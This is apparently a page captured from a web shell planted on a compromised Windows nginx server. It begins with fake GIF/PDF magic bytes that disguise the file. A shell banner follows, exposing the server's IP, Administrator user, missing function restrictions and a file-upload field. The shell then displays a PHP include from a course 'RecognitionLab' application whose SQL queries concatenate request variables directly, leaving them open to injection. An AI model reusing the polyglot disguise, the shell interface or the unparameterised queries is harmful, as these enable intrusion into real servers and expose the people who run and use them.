GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Class/RecognitionLab/ |
Upload File : |
<? // Class/QuestionPartsPerform.phpinc // Purpose_of_include_file_goes_here. #$DEBUG_QuestionPartsPerform = true; if ( !isset($DEBUG_QuestionPartsPerform) ) $DEBUG_QuestionPartsPerform = false; debugTrackBegin(); // Begin TRACKing included file. if ( $_SESSION['uuid'] != $f_uuid ) { if ( $f_task == 'QuestionPartDn' || $f_task == 'QuestionPartUp' ) { $swapOrder = $questionpart[$f_subtask]['Order'] + $direction; if ( $DEBUG_QuestionPartsPerform ) printVar('$f_subtask',$f_subtask); if ( $DEBUG_QuestionPartsPerform ) printVar('$swapOrder',$swapOrder); $query = " SELECT recognitionlabquestionpartId, recognitionlabId, recognitionlabquestionpartOrder, recognitionlabquestionpartText, recognitionlabquestionpartValue FROM `recognitionlabquestionpart` WHERE recognitionlabId = ".$f_recognitionlabId." AND recognitionlabquestionpartOrder = ".$swapOrder." ORDER BY recognitionlabquestionpartOrder "; $questionpartSwapResult = query_do($query); $questionpartSwapResultCount = $_SESSION['qry']['count']; mysqli_data_seek($questionpartSwapResult, 0); $questionpartSwapRow = mysqli_fetch_assoc($questionpartSwapResult); $swapId = $questionpartSwapRow['recognitionlabquestionpartId']; if ( $DEBUG_QuestionPartsPerform ) printVar('$swapId',$swapId); if ( $DEBUG_QuestionPartsPerform ) printVar("\$questionpart[$f_subtask]",$questionpart[$f_subtask]); if ( $DEBUG_QuestionPartsPerform ) printVar("\$questionpart[$swapOrder]",$questionpart[$swapId]); $questionpart[$swapId]['Order'] = $questionpart[$f_subtask]['Order']; $questionpart[$f_subtask]['Order'] = $questionpartSwapRow['recognitionlabquestionpartOrder']; $questionpart[$swapId]['Changed'] = true; $questionpart[$f_subtask]['Changed'] = true; if ( $DEBUG_QuestionPartsPerform ) printVar("\$questionpart[$f_subtask]",$questionpart[$f_subtask]); if ( $DEBUG_QuestionPartsPerform ) printVar("\$questionpart[$swapOrder]",$questionpart[$swapId]); } if ( $f_task == 'QuestionPartRemove' ) { $query = " DELETE FROM `recognitionlabquestionpart` WHERE recognitionlabquestionpartId = ".$f_subtask." "; $recognitionlabquestionpartDelete = query_do($query); if ( $DEBUG_QuestionPartsPerform ) printVar('$f_subtask',$f_subtask); $swapOrder = false; foreach ( $questionpart as $questionpartId => $thispart ) { if ( $swapOrder && $questionpartId != 0 ) { $questionpart[$questionpartId]['Order'] = $swapOrder; $questionpart[$questionpartId]['Changed'] = true; $swapOrder++; } if ( $questionpartId == $f_subtask ) $swapOrder = $thispart['Order']; } } foreach ( $questionpartIds as $questionpartId ) { if ( $questionpart[$questionpartId]['Changed'] ) { $f_modifiedOn = currentDateTime(); $query = " UPDATE `recognitionlabquestionpart` SET recognitionlabquestionpartOrder = ".$questionpart[$questionpartId]['Order'].", recognitionlabquestionpartText = '".query_safe($questionpart[$questionpartId]['Text'])."', recognitionlabquestionpartValue = ".$questionpart[$questionpartId]['Value'].", modifiedBy = ".$_SESSION['trueuserId'].", modifiedOn = '".query_safe($f_modifiedOn)."' WHERE recognitionlabquestionpartId = ".$questionpartId." "; if ( $DEBUG_QuestionPartsPerform ) printVar('$query',$query,'q'); $questionpartUpdate = query_do($query); } } if ( $DEBUG_QuestionPartsPerform ) printVar("\$questionpart[0]",$questionpart[0]); if ( $questionpart['0']['Changed'] ) { $questionpart[0]['Order'] = $questionpartResultCount + 1; $f_addedOn = currentDateTime(); $query = " INSERT INTO `recognitionlabquestionpart` ( recognitionlabId, recognitionlabquestionpartOrder, recognitionlabquestionpartText, recognitionlabquestionpartValue, addedBy, addedOn ) VALUES ( ".$f_recognitionlabId.", ".$questionpart[0]['Order'].", '".query_safe($questionpart[0]['Text'])."', ".$questionpart[0]['Value'].", ".$_SESSION['trueuserId'].", '".query_safe($f_addedOn)."' ) "; if ( $DEBUG_QuestionPartsPerform ) printVar('$query',$query,'q'); $recognitionlabquestionpartInsert = query_do($query); // Get the recognitionlabquestionpartId. $recognitionlabquestionpartId = $_SESSION['qry']['insertId']; // Set form variables. $questionpartResultCount++; $questionpartIds[] = $recognitionlabquestionpartId; $questionpart[$recognitionlabquestionpartId]['Order'] = $questionpart[0]['Order']; $questionpart[$recognitionlabquestionpartId]['Text'] = $questionpart[0]['Text']; $questionpart[$recognitionlabquestionpartId]['Value'] = $questionpart[0]['Value']; } $_SESSION['uuid'] = $f_uuid; } debugTrackEnd(); // End TRACKing included file. ?>